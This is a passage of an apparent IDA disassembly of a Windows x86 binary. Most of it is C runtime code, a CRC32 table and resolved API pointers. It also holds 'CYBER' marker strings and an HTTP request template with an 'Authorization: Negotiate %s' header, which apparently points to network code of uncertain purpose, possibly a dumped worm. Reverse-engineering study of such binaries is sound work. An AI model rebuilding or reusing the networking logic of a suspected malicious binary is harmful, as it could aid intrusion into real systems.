		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C32C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB5C0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 25F053Bh
		nop
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB5C0, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F053Bh
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB364


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2600000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25C1081h, 25D0000h, 25D078Fh, 25E0000h, 25E0CBFh
		dd 25F0000h, 25F04BFh, 25F053Bh, 2600000h, 26006D4h, 2600CB7h
		dd 2610000h, 2610818h, 2610A67h
dword_42703C	dd 2610A94h		; DATA XREF: ___:004231D9r
		dd 2610B07h, 2610DF5h, 2610E16h, 2620000h, 2630000h, 2640000h
		dd 2650000h, 26503FBh, 265095Ah, 77E75CB5h
dword_427068	dd 265098Ch		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650CD2h, 2660000h, 2670000h
dword_427078	dd 267053Bh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670603h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26707B6h
dword_427084	dd 267087Fh		; DATA XREF: sub_4196BC+B9r
		dd 2670E01h
dword_42708C	dd 2670E77h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680000h		; DATA XREF: ___:loc_4013DCr
		dd 268031Dh, 26803F7h
dword_42709C	dd 26804F7h		; DATA XREF: sub_409B12+2r
		dd 268064Dh, 268075Dh
dword_4270A8	dd 2680D52h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2680DFDh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690B8Ch
dword_4270B8	dd 2690C4Ch		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C05CFh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D0577h, 26D0713h, 26E0000h, 26E091Bh
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F0922h		; DATA XREF: sub_418293+36r
		dd 26F0C74h, 2700000h
dword_4270F8	dd 27005C8h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2711483h, 2720000h, 2720BF7h, 2730000h, 27308B0h, 2740000h
		dd 2750000h, 2760000h, 2770000h, 27703D4h, 2770505h, 277068Eh
		dd 2780000h, 2780339h, 2780822h
dword_42713C	dd 2790000h		; DATA XREF: sub_416F1A+BCr
		dd 279067Ch
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0C9Ch		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0D27h
dword_427150	dd 27B0000h		; DATA XREF: sub_417275+56r
		dd 27B0263h, 27C0000h, 27D0000h, 27D06E3h, 27E0000h, 27E0292h
		dd 27E03FAh, 27F0000h, 27F07DFh, 2800000h
dword_42717C	dd 2810000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2820000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2821129h, 2821537h, 282188Fh, 2821BA0h, 2830000h, 2840000h
		dd 2850000h, 2860000h, 2870000h, 2880000h, 2881B44h, 2881B60h
		dd 2890000h, 2890C69h, 28A0000h
dword_4271C0	dd 28A04A2h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28A061Ch		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28A07A4h, 28B0000h, 28B07BBh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C544o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C540o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C7BCo
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C98Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
